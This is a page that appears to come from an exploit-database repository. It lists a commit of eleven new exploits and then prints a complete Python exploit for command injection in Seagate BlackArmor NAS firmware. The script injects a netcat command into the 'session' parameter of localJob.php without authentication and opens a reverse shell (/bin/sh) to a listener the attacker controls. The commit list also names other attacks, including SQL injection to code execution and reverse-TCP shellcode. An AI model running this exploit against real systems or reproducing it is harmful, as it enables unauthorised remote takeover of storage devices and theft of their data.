4f2cf56b31
11 changes to exploits/shellcodes Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection OpenSIS 8.0 'modname' - Directory Traversal Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload Budget and Expense Tracker System 1.0 - Arbitrary File Upload FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Hidden Backdoor Account (Write Access) FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Remote Privilege Escalation WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting Jetty 9.4.37.v20210219 - Information Disclosure Clinic Management System 1.0 - SQL injection to Remote Code Execution Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated) Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)
29 lines
No EOL
949 B
Python
Executable file
29 lines
No EOL
949 B
Python
Executable file
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
|
|
# Date: 15.07.2021
|
|
# Discovered by: Jeroen - IT Nerdbox
|
|
# Exploit Author: Metin Yunus Kandemir
|
|
# Version: sg2000-2000.1331
|
|
# Vendor Homepage: https://www.seagate.com/
|
|
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import requests
|
|
import sys
|
|
|
|
def exec(target, ncIp, ncPort):
|
|
print("[!] Please check netcat listener: "+ ncPort)
|
|
url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
|
|
r = requests.get(url = url)
|
|
sys.exit(1)
|
|
|
|
def main(args):
|
|
if len(args) != 4:
|
|
print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
|
|
print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
|
|
sys.exit(1)
|
|
exec(target=args[1], ncIp=args[2], ncPort=args[3])
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main(args=sys.argv) |